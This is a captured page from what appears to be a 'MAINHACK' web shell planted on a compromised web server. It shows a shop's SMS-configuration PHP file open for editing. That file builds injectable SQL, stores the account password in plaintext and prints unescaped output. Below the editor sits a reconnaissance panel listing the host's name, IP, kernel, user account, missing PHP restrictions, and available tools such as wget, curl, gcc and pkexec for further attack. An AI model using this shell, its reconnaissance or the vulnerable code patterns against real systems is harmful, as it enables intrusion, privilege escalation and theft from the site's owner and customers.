[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: sms-api.php
<?php include("../admin/includes/functions/functions.php");?> <?php include("../admin/db/db.php");?> <?php if(!isset($_SESSION['username_Xw211qAAsq4'])) { header('Location: ../auth/'); exit(); } else{ $pageTitle1 = 'SMS API CONFIGURATION'; $shopname = $_SESSION['business_name_Xw211qAAsq4']; $notificationType = "success"; $message = ""; if (isset($_POST['submitSMS'])) { $senderID = test_input($_POST['senderID']); $username = test_input($_POST['username']); $password = test_input($_POST['password']); // Check if the record exists $checkQuery = "SELECT * FROM sms_api WHERE shopname = '$shopname'"; $result = mysqli_query($new, $checkQuery); if (mysqli_num_rows($result) > 0) { // Update existing record $query = "UPDATE sms_api SET senderID='$senderID', username='$username', password='$password' WHERE shopname='$shopname'"; } else { // Insert new record $query = "INSERT INTO sms_api (shopname, senderID, username, password) VALUES ('$shopname', '$senderID', '$username', '$password')"; } $execute = mysqli_query($new, $query); if ($execute) { $message = "Record inserted/updated successfully."; } else { echo "Error: " . mysqli_error($new); } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title> <?php echo $shopname;?> - <?php echo $pageTitle1;?></title> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <link href="plugins/datatables/dataTables.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/responsive.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/buttons.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/select.bootstrap4.css" rel="stylesheet" type="text/css" /> <script src="https://code.jquery.com/jquery-3.6.4.min.js" integrity="sha256-oP6HI9z1XaZNBrJURtCoUT5SUnxFr8s3BzRl+cbzUq8=" crossorigin="anonymous"></script> <link rel="shortcut icon" href="../assets/icon.png" type="image/x-icon"> <link rel="icon" href="../assets/icon.png" type="image/x-icon"> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <!-- App css --> <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/theme.min.css" rel="stylesheet" type="text/css" /> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css"> </head> <body> <div id="preloader"> <div id="loader"></div> </div> <!-- Begin page --> <div id="layout-wrapper"> <div class="header-border"></div> <?php include("includes/template/head.php");?> <?php include("includes/template/side.php");?> <div class="main-content"> <div class="page-content"> <div class="container-fluid"> <!-- start page title --> <div class="row"> <div class="col-12"> <div class="page-title-box d-flex align-items-center justify-content-between"> <h4 class="mb-0 font-size-18">SMS Configuration</h4> <div class="page-title-right"> <ol class="breadcrumb m-0"> <li class="breadcrumb-item"><a href="javascript: void(0);"><?= $shopname;?></a></li> <li class="breadcrumb-item active"><?php echo $pageTitle1;?></li> </ol> </div> </div> </div> </div> <!-- end page title --> <div class="row"> <div class="col-lg-12"> <div class="container-fluid mt-4"> <div class="row gx-3"> <!-- Left Side: Form Section --> <div class="col-md-6"> <div class="card p-4 shadow h-100"> <div class="d-flex justify-content-between align-items-center"> <!--<h5 class="mb-0">Balance: <span class="text-primary">35,002</span></h5>--> </div> <h4 class="card-title mt-3">Message Properties</h4> <?php echo $message;?> <hr> <?php $my = mysqli_query($new,"SELECT * FROM sms_api WHERE shopname = '$shopname'"); $rows_services = mysqli_fetch_array($my); ?> <form method="post"> <div class="mb-3"> <label for="senderID" class="form-label">Sender ID:</label> <input type="text" class="form-control" id="senderID" name="senderID" value="<?php echo $rows_services['senderid'];?>"> </div> <div class="mb-3"> <label for="api_key" class="form-label">Username:</label> <input type="text" class="form-control" id="api_key" name="username" value="<?php echo $rows_services['username'];?>"> </div> <div class="mb-3"> <label for="api_key" class="form-label">Account password</label> <input type="text" class="form-control" id="api_key" name="password" value="<?php echo $rows_services['password'];?>"> </div> <button type="submit" name="submitSMS" class="btn btn-success w-100">SUBMIT</button> </form> </div> </div> <!-- Right Side: SMS Setup Guide --> <div class="col-md-6"> <div class="card p-4 shadow h-100"> <h4 class="card-title">How to Setup SMS</h4> <hr> <ul> <li>We utilize a service called <a href="https://deywuro.com/login" target="_blank">https://deywuro.com</a> for sending text messages.</li> <li>Visit the following link to sign up for a standard account on <a href="https://deywuro.com" target="_blank">https://deywuro.com</a>.</li> <li>Once you've signed up successfully, log in to your account.</li> </ul> </div> </div> </div> </div> </div> </div> </div> <!--end card body--> </div> <!-- end card--> </div> <!-- end col --> </div> <!-- container-fluid --> </div> <!-- End Page-content --> <?php include("includes/template/newfooter.php");?> </div> <!-- end main content--> </div> <!-- END layout-wrapper --> <!-- Overlay--> <div class="menu-overlay"></div> </body> </html> <div class="modal fade" id="editCustomerModal" tabindex="-1" role="dialog"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">Edit Customer</h5> <button type="button" class="close" data-dismiss="modal"> <span>×</span> </button> </div> <div class="modal-body"> <form id="editCustomerForm" method="POST"> <input type="hidden" id="edit_client_id" name="client_id"> <div class="form-group"> <label>Phone Number</label> <input type="text" class="form-control" id="edit_phone_number" name="phone_number"> </div> <div class="form-group"> <label>First Name</label> <input type="text" class="form-control" id="edit_first_name" name="first_name"> </div> <div class="form-group"> <label>Last Name</label> <input type="text" class="form-control" id="edit_last_name" name="last_name"> </div> <div class="form-group"> <label>Email</label> <input type="email" class="form-control" id="edit_email" name="client_email"> </div> <div class="form-group"> <label>Gender</label> <select class="form-control" id="edit_gender" name="gender"> <option value="male">Male</option> <option value="female">Female</option> </select> </div> <div class="form-group"> <label>Address</label> <input type="text" class="form-control" id="edit_address" name="address"> </div> <button type="submit" class="btn btn-success">Save Changes</button> </form> </div> </div> </div> </div> <!-- Delete Confirmation Modal --> <!-- Delete Confirmation Modal --> <div class="modal fade" id="deleteCustomerModal" tabindex="-1" aria-labelledby="deleteCustomerLabel" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="deleteCustomerLabel">Confirm Deletion</h5> <button type="button" class="close" data-bs-dismiss="modal" aria-label="Close"> <span>×</span> </button> </div> <div class="modal-body"> <p>Are you sure you want to delete this customer?</p> <form method="POST"> <input type="hidden" id="delete_client_id" name="client_id"> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button> <button type="submit" class="btn btn-danger">Delete</button> </div> </form> </div> </div> </div> </div> <!-- <div class="modal fade" id="deleteCustomerModal" tabindex="-1" role="dialog"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="deleteCustomerLabel">Confirm Deletion</h5> <button type="button" class="close" data-bs-dismiss="modal" aria-label="Close"> <span>×</span> </button> </div> <form method="POST"> <div class="modal-body"> <p>Are you sure you want to delete this customer?</p> <input type="hidden" id="edit_client_id" name="client_id"> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button> <button type="submit" class="btn btn-danger" name="deleteus">Delete</button> </div> </form> </div> </div> </div> --> <div class="modal fade bd-example-modal-lg" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title h4" id="myLargeModalLabel">Add New Customer</h5> <button type="button" class="close waves-effect waves-light" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body" data-ng-form="newcustomer"> <div class="setting-steps"> <form id="add_category_bttn" method="POST"> <div class="row"> <div class="col-sm-4"> <div class="form-group"> <label for="exampleInputEmail1" class="form-label">Phone number</label> <input type="text" class="form-control" id="validationTooltip03" name="phone_number" required> </div> </div> <div class="col-sm-4"> <div class="form-group"> <label for="exampleInputEmail1" class="form-label">First Name<span class="req">*</span></label> <input type="text" class="form-control" id="customerName" name="first_name" required > </div> </div> <div class="col-sm-4"> <div class="form-group"> <label for="exampleInputEmail1" class="form-label">Last Name</label> <input type="text" class="form-control" id="lastName" name="last_name" required> </div> </div> </div> <div class="row"> <div class="col-sm-4"> <div class="form-group"> <label class="form-label">DOB</label> <div class="input-group date dobWrap cal-container"> <input type="date" class="form-control" name="DOB" data-provide="datepicker" data-date-format="d-M"> </div> </div> </div> <div class="col-sm-4"> <div class="form-group"> <label for="exampleInput" class="form-label">Email ID</label> <input type="email" class="form-control" id="email" name="email"> </div> </div> <div class="col-sm-4"> <div class="form-group"> <label class="form-label">Gender</label> <div class="inline-radio tbl"> <div class="radio"> <input type="radio" id="male" name="gender" value="male"> <label for="male">Male</label> </div> <div class="radio"> <input type="radio" id="female" name="gender" value="female"> <label for="female">Female</label> </div> </div> </div> </div> </div> <div class="row"> <div class="col-sm-4"> <div class="form-group"> <label class="form-label">Address</label> <input type="text" class="form-control" name="address"> </div> </div> <div class="col-sm-4"> <div class="form-group"> <label class="form-label">Anniversary</label> <div class="input-group date anniWrap cal-container"> <input type="date" class="form-control" name="anniversary" data-provide="datepicker" data-date-format="d-M"> </div> </div> </div> <div class="col-sm-4"> <div class="form-group"> <label for="exampleInputEmail1" class="form-label">Location</label> <input type="text" class="form-control" id="location" name="location"> </div> </div> </div> <button type="submit" name="add" class="btn btn-success">Submit</button> </form> </div> </div> </div> </div> </div> <script src="assets/js/jquery.min.js"></script> <script src="assets/js/bootstrap.bundle.min.js"></script> <script src="assets/js/metismenu.min.js"></script> <script src="assets/js/waves.js"></script> <script src="assets/js/simplebar.min.js"></script> <script src="plugins/raphael/raphael.min.js"></script> <script src="assets/pages/dashboard-demo.js"></script> <script src="assets/js/theme.js"></script> <script src="assets/pages/datatables-demo.js"></script> <script type="text/javascript"> document.onreadystatechange = function() { if (document.readyState !== "complete") { document.querySelector("#preloader").style.display = "block"; } else { document.querySelector("#preloader").style.display = "none"; } }; </script> <!-- jQuery --> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.73 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002